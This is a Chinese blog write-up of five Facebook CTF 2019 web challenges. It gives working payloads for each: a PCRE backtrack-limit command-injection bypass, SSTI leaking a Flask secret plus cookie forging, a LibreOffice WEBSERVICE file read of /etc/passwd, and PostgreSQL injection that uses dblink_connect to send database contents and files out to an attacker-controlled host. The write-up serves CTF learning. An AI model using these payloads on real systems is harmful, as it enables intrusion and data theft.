Damn1t
for you I bleed myself dry
FRIENDS
baidu

fbctf2019

2019-06-12 ctf

Facebook ctf 2019

web

rceservice

题目描述:

We created this web interface to run commands on our servers, but since we haven’t figured out how to secure it yet we only let you run ‘ls’

http://challenges.fbctf.com:8085

(This problem does not require any brute force or scanning.
We will ban your team if we detect brute force or scanning).

要求用json格式传送payload

我们尝试ls{"cmd":"ls"}

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

暴躁过滤,在线砍人
但是我们看到了preg_match,就会想到p神曾经提到的PRCE,利用如下的exp:

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)

另一种方法,同样是preg_match的问题,由于它会努力去匹配第一行,所以我们可以利用多行的方法

尝试直接cat,但是返回了空白
我们返回去查看源代码:putenv('PATH=/home/rceservice/jail');,jail应用于当前环境,又根据题目描述的提示–“只允许执行ls命令”,即jail包含了执行ls的二进制文件,所以我们可以直接拉出cat的路径:"cmd": "/bin/cat /home/rceservice/flag"

注:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

events

题目描述:

I heard cookies and string formatting are safe in 2019?

http://challenges.fbctf.com:8083

(This problem does not require any brute force or scanning. We will ban your team if we detect brute force or scanning).

登录

观察cookie:

1
ImEi.XP5j-w.rHcMilGKzEg1FYfcEOR6iqa-B9A

似乎有三段,但加密方式未知,密钥未知
我们尝试提交数据,注意到有三个参数需要提交:

既然提示了cookiestring format,admin是未允许的状态,所以思路是篡改cookie,伪装为admin,继而拿到flag,通常有一个思路是:利用SSTI,获取密钥,然后重新签名生成cookie。所以如何利用SSTI呢?
通过一番尝试,三个参数中,event_important是可利用点

  • 我们输入__dict__,成功回显

  • 查找配置文件:__class__.__init__.__globals__[app].config

  • 于是进行签名

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
print(session_serializer.dumps("admin"))

index()

将得到的cookie去修改原user的cookie即可得到flag

products manager

题目给出了源码:

  • 在db.php中:
1
2
3
4
5
6
7
/*
INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
*/

给出了表结构,且提示很明显,再看主页面:

三个功能,add是添加产品

view可以查询

我们再查看view.php:

1
2
3
4
5
6
7
8
9
if (isset($name) && $name !== ""
&& isset($secret) && $secret !== "") {
if (check_name_secret($name, hash('sha256', $secret)) === false) {
return "Incorrect name or secret, please try again";
}
$product = get_product($name);
echo "<p>Product details:";
echo "<ul><li>" . htmlentities($product['name']) . "</li>";
echo "<li>" . htmlentities($product['description']) . "</li></ul></p>";

/db.php::check_name_secret源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function check_name_secret($name, $secret) {
global $db;
$valid = false;
$statement = $db->prepare(
"SELECT name FROM products WHERE name = ? AND secret = ?"
);
check_errors($statement);
$statement->bind_param("ss", $name, $secret);
check_errors($statement->execute());
$res = $statement->get_result();
check_errors($res);
if ($res->fetch_assoc() !== null) {
$valid = true;
}
$statement->close();
return $valid;
}

/db.php::get_product源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function get_product($name) {
global $db;
$statement = $db->prepare(
"SELECT name, description FROM products WHERE name = ?"
);
check_errors($statement);
$statement->bind_param("s", $name);
check_errors($statement->execute());
$res = $statement->get_result();
check_errors($res);
$product = $res->fetch_assoc();
$statement->close();
return $product;
}

check的时候会将name和secret一并查询,但返回product时只查询name,所以此时便有了可利用点
这里涉及到mysql的一个问题,查询的时候将会忽略字符串尾部的空格

于是我们可以添加一个facebook尾部带n个空格的product,添加成功后再进行查询,便能得到flag

pdfme


只能上传.fods文件,在网上找了个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:presentation="urn:oasis:names:tc:opendocument:xmlns:presentation:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.spreadsheet">
<office:body>
<office:spreadsheet>
<table:table table:name="1">
<table:table-column/>
<table:table-row>
<table:table-cell office:value-type="string" calcext:value-type="string">
<text:p>TEXT</text:p>
</table:table-cell>
</table:table-row>
<table:table-row></table:table-row>
</table:table>
<table:named-expressions/>
</office:spreadsheet>
</office:body>
</office:document>

他会渲染为pdf:


将pdf下载下来,利用exiftool查看文件信息:

注意到libreoffice,查找相关漏洞,最后落到了CVE-2018-6871,差不多是协议的问题:

For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.

In LibreOffice, these restrictions are not implemented before 5.4.5/6.0.1

table:table-cell这一部分进行替换,改为:

1
2
3
4
5
6
7
 <table:table-cell 
table:formula="of:=COM.MICROSOFT.WEBSERVICE(&quot;/etc/passwd&quot;)"
office:value-type="string"
office:string-value=""
calcext:value-type="string">
<text:p>#VALUE!</text:p>
</table:table-cell>

得到:

根据给出的用户,于是我们尝试查询/home/libreoffice_admin/flag,最终读到flag

hr_admin_module

题目描述:

While tying down the application the developer may have had trouble revoking the permission on one or two functions. Let’s hope this got sorted. At least he made sure the site feels really fast.

http://challenges.fbctf.com:8081


有两个搜索框,从error似乎给出了一些提示,数据库为postgresqluser框禁止了输入,于是尝试利用employees框,但没卵用,关注地址栏:

尝试将employee改为user,输入admin',奏效了,弹出warning:

This is a warning alert—check it out!

尝试输入secret,同样弹出上述警报
输入admin%27--,无警报

fuzz一阵,会发现回显只有有无warning的区别,但尝试利用pg_sleep,返回结果没有时延,所以我们可以猜测后台是异步执行,且一般盲注不起效果

带外注入(OOB):

带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功是基于防火墙出站规则的,即允许存在漏洞的系统和外围防火墙的出站请求

我们大致有两种方式:

  1. dnslog,搭建dns服务器,将域名指向自己的服务器,利用dns进行解析,然后请求自己的二级或三级域名,在dns解析日志中去查看他们
  2. 因为dblink_connect可用,我们可以尝试搭建一个postgresql服务,然后建立一个远程会话连接,连接到我们的psql服务,监听服务端口,查看请求包的明文信息

第二个方法似乎更为简单

dblink是一个支持在一个数据库会话中连接到其他PostgreSQL数据库的模块。
dblink_connect – 打开一个到远程数据库的持久连接

在自己的服务器上安装postgresql,在配置文件postgresql.conf中设置:

1
listen_addresses = '*'

利用tcpdump监听5432端口,查看请求包的信息:

1
tcpdump -nX -i eth0 port 5432

postgresql安装后默认用户为postgres,无密码,且有一个postgres的数据库,有意思的一点是,建议将密码或用户参数填写错误,因为这样才能返回查询信息

修改payload:

1
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=postgres password= dbname=postgres')) --

携带了连接信息:

列出schema:

1
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --

String_agg:有两个参数一个是需要合并的字段名称或者字面量,还有就是合并后以何种分隔符,即:string_agg(expression, delimiter)。

列出当前schema的table:

1
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --

列出searches的行数

1
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --

发现为空,说明没有内容
由于pg_read_file不能用,我们可以使用lo_import将文件的内容加载到pg_largeobject目录中。如果查询成功,我们将获得对象的oid

1
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --


成功了!!!

每个文件都可以对应于一个oid
我们可以通过从pg_largeobject_metadata中提取来获取可用对象的oid列表

1
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --

我们尝试挨个读取,最终在16444读到了flag内容

1
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=postgres')) --

Author: damn1t

Link: http://microvorld.com/2019/06/12/CTF/fbctf2019/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
Bypass XSS filters using JavaScript global variables(笔记)
NextPost >
qwbctf2019
CATALOG
  1. 1. Facebook ctf 2019
    1. 1.1. web
      1. 1.1.1. rceservice
      2. 1.1.2. events
      3. 1.1.3. products manager
      4. 1.1.4. pdfme
      5. 1.1.5. hr_admin_module